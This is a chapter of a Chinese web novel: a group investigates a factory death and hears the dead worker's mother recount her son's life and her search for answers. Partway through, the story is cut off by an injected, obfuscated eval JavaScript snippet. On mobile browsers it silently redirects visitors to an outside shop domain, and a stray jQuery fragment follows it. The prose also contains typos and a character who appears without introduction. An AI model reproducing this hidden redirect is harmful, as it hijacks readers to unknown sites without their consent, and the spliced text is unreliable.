陈宇桐眼圈通红，坐在柜台后的凳子上，面前放着一杯已经凉掉的热可可。她眼睛直直地盯着杯子，像是在消化刚刚的想法。
好一会，她忽然想起什么，抬头看向何望舒，“昨晚绑架我的除了你，还有一个男的，他是谁？”
何望舒听到这个问题，手上动作没停，朝后门的方向歪了一下头：“走吧，带你见见。”
她带着陈宇桐穿过储藏室，推开后门，残阳西斜，隔壁咖啡店的招牌在黄昏的阳光下投下一道窄窄的阴影，门是虚掩着的，缝隙里飘出咖啡豆的香气。
何望舒推门进去。
周朗正站在吧台后面擦拭咖啡机的蒸汽棒，听到风铃响的瞬间抬起头，看清来人后摆出一副温和无害的模样。
他今天穿着一件卡其色的亚麻陈上，外面搭一件浅色毛衣开衫，袖子推到胳膊肘。
他看到何望舒后面跟着的陈宇桐，手上的动作顿了一下，然后放下了手里的抹布。
那天下午，四个人个人坐在咖啡店里。店里的灯开着，暖黄色的光从天花板的吊灯上倾泻下来。四个人围着靠窗那张桌子坐下，面前摊着几张写满文字的纸，周朗的电脑开着，屏幕上是有关林家、陈家、顾家还有他们这个圈子里所有人的管饭不回信息。
何望舒用铅笔在纸上涂涂改改，把所有人的名字连成一个复杂的网络
陈宇桐靠窗坐着，偶尔插一两句，说一些网络上查不到的细节。
陈宇桐忽然说，“半年前，林家有没有什么新闻？”
何望舒的笔尖停在纸上，三个人同时抬头看向她。
“为什么这么问？”周朗已经开始着手检索信息了。
陈宇桐怔了几秒，一些零碎模糊的记忆渐次显影：“因为那段时间林家不让林若瑶和我们出去，赵嘉文还抱怨过，说她架子大。”
“大概什么时候？”
“半年多以前吧，我记不太清了应该是天气刚转暖的日子。”
周朗在搜索栏输入“林家、事故”之类的关键词，大概五六分钟，切换了几个页面，最后停在一个不起眼的本地新闻快讯上。
“半年前，林家下面的一家工厂发生了一起生产事故。”周朗把屏幕转向她们，“一个男工人被卷进机床，当场死亡。”
何望舒把那则短讯从头看到尾，新闻只有寥寥几行，像是记者仓促之下记录的消息，没有配图、没有后续报道，短短三行，交代了这个男人的一生。
新闻末尾的署名是一家本地小媒体，不过上个月因为效益不好已经关门了。
何望舒盯着这则短新闻看了很久，才问：“这么大的事，没有其他媒体报道吗？”
周朗摇摇头，手指在触控板上滑动，“找不到，只有这一家媒体报道了。”他把页面切到企业查询网站上，“而且这件事发生后，这家工厂迅速迁址了，新厂子开在城郊另一个工业园里。”
他补充道：“不过，本地论坛上有人说，林工厂旧址的门口天天站着一个老人。”
“老人？”何望舒站起来，“走吧，我们过去看看。”
四个人挤一辆车，依旧是周朗开车。车子开出城区，驶上一条越来越窄的国道，路两旁的建筑从高楼变成平房，又从平房变成大片大片的荒地和杂草丛生的空地。车窗外的阳光逐渐变得白晃晃的，照在路面的碎石子上，反出一片刺眼的光。
大概开了一个小时，导航显示目的地快到了，周朗拐进一条小路，车子颠簸几下，在一扇生锈的铁门前停下。
废弃工厂比何望舒想象的要大，厂区门口的铁门半开着，上面的白漆剥落一大片，露出里面的铁锈。远远看去，院子里长满了杂草，车间的大门被木板钉死，偶尔有几个松动的木板，歪歪扭扭地垂着，露出里面黑洞洞的空间。
大门口坐着一个老人。
她坐在地上，怀里抱着一副遗像，面前铺着一张硬纸板，上面歪歪扭扭地写着：黑心企业，草菅人命。
老人头发花白，穿着一件洗得发白的深蓝色布衫，佝偻着背，像一尊破败的石雕。
她听到车声抬起头，浑浊的眼里先是茫然，然后全身迸发出惊人的力量，她扶着膝盖挣扎着站起，踉跄几步冲到车前，死死抓住周朗的裤脚。
“你们这群黑心肝的。”老人的声音嘶哑，像是从破风箱里吼出来的，“还我儿子！”
她指甲缝里全是黑泥，抓在周朗的裤腿上留下一道道泥土的痕迹。同行的三个人抓着老人手臂想把她扶起来，却被一把推开，老人挥舞着手臂，胡乱地抓着空气，“你们别碰我，今天我就是死也要给我儿子伸冤。”
周朗蹲下来，让她不用再仰头，“大娘，我们是来帮你的。”
老人浑浊的目光在他的脸上停留了好一会，像是在辨别这话的真假。她的嘴唇哆嗦着，抓着他裤脚的手没有松开。
“帮我？你们不是工厂的人过来赶我走吗？”
“大娘。”何望舒走到老人的另一边蹲下，双手覆上她抓着周朗裤脚的那只手，一点一点掰开。
那只手又干又凉，皮肤像粗糙的老树皮，骨节突出，摸不到多少肉。
“我们想知道这里究竟发生了什么？您能和我们说说吗？”
“真的吗？”老人的声音带一丝隐秘的几乎不敢流露的期盼。
“真的，我们送你回去，我们慢慢说好不好？”
老人点了点头，眼泪如同突然泄洪的水库，顺着脸上纵横的皱纹流淌、冲刷。林浅浅扶着她，从铁门旁边的阴影里走出来，走到太阳底下，老人比她矮一头多，整个人靠在她的臂弯，走得很慢。
四个人跟着老人回家，她家离工厂不远，低矮的土墙，屋顶的瓦片缺了好几块，用塑料布和砖头压着，窗户勉强用报纸糊住，风一吹就哗哗地拍动。
她推开门，屋内昏暗，空气中弥漫着潮湿的土腥气和一股淡淡的香火味。
这里不是家，没有一点烟火气和生活痕迹，更像是为了儿子临时建的临时住所。
屋里正对门的那面墙上挂着两副遗像，一老一少，两个人眉眼有些相似的地方。
老人先走到遗像前，颤颤巍巍地点了三炷香，插进香炉里。烟雾袅袅地升起来，在昏暗的光线里慢慢散开。然后她转身招呼四个人坐下，屋里只有一把椅子，她从里屋搬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768814|209830||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出几把叠在一起的塑料椅子，她的手脚不太利索，周朗赶紧接过去，四个人围着一张矮矮的木桌坐下。
老人给他们一人倒了一杯水，杯子是搪瓷的，但是洗得很干净。
她的手在裤子上擦了擦，脸上有些窘迫，“你们别嫌弃，大娘家里没什么好东西。”
“不会的大娘。”陈宇桐双手接过杯子，喝了一口，“大娘您坐下来慢慢和我们说。”
周朗打开手机放在桌上录音，何望舒从随身带的包里取出一个三脚架，支在桌子旁，架上手机，镜头对着大娘。
何望舒看着她，“您介意我们录音录像吗？”
她看了一眼那个架好的手机，又看了一眼何望舒，她的嘴唇抖了抖，声音有些抖：“你们是要发到网上去吗？这样...就能帮我们家吗？”
何望舒看着老人的眼睛，认真地点一下头。
“那就录吧。”
她把椅子拉近了一点，理了理自己花白的头发，把衣服用力向下扯平整。然后她转向墙上那两幅遗像，指了指两个人中看起来年轻的那个，
“那个是我儿子，他叫李连军，这孩子从小就懂事，五岁就会做饭了。那时候我和他爸在厂里三班倒，这孩子从没让我们吃过一口冷饭。”
她说到这里，嘴角微微向上提，一些琐碎但温暖的记忆渐次显影，但很快又被更多、更沉的记忆压了下去。
“就是太懂事了。”她的声音沉了下去，“高中刚毕业就和我们说，要去打工。他说自己不是读书的料，与其再浪费四年的钱和时间，不如直接出去打工，我知道...”
她似乎是不忍心再说下去，“这孩子怕我们花钱，家里我和他爸爸身体都不算好，拱到高中毕业算是极限了。”
“他赚了钱从来不乱花，大头都给我和他爸转过来，自己就留点吃饭钱。这孩子总说以后赚了大钱就接我和他爸去城里养老。”
老人的手攥在膝盖上，指尖抠进裤子的布料里，指节泛白，“再后来就是他的同事过来，告诉我们连军出事了。”
她没有嚎啕大哭，只是眼泪顺着眼眶无声地、一滴一滴地滚落，流进那些深深的皱纹里，有沿着下颌滴在她蓝色的布衫上，晕开一片深色。
“我和他爸去太平间认尸，我的连军...”她说不下去了，喉咙里压抑许久终于发出悲伤的呜咽，“都拼不出个人形了。”
何望舒的手指在桌面下攥得死紧，指甲掐进掌心。
老人拿衣袖擦擦脸上的眼泪和鼻涕，声音染上哭腔：“工厂的领导抓着我手告诉我他们会给我们家应有的赔偿，可是，我不是要钱啊，我想知道那天究竟发生了什么？为什么是我儿子啊！”
“然后呢？”林浅浅声音很轻，怕打断她。
“然后？哪有什么然后，没人告诉我们发生了什么，我连工厂的人都见不到。”老人的声音疲惫，“葬礼之后，他爸也病了，临走前抓着我的手要我一定替连军讨个公道。我答应他了。”
“就算是拼上我这条命，也要给连军要个说法。”
这句话似有千斤重，砸进这间破旧小屋的地里，也砸进每个人的心里。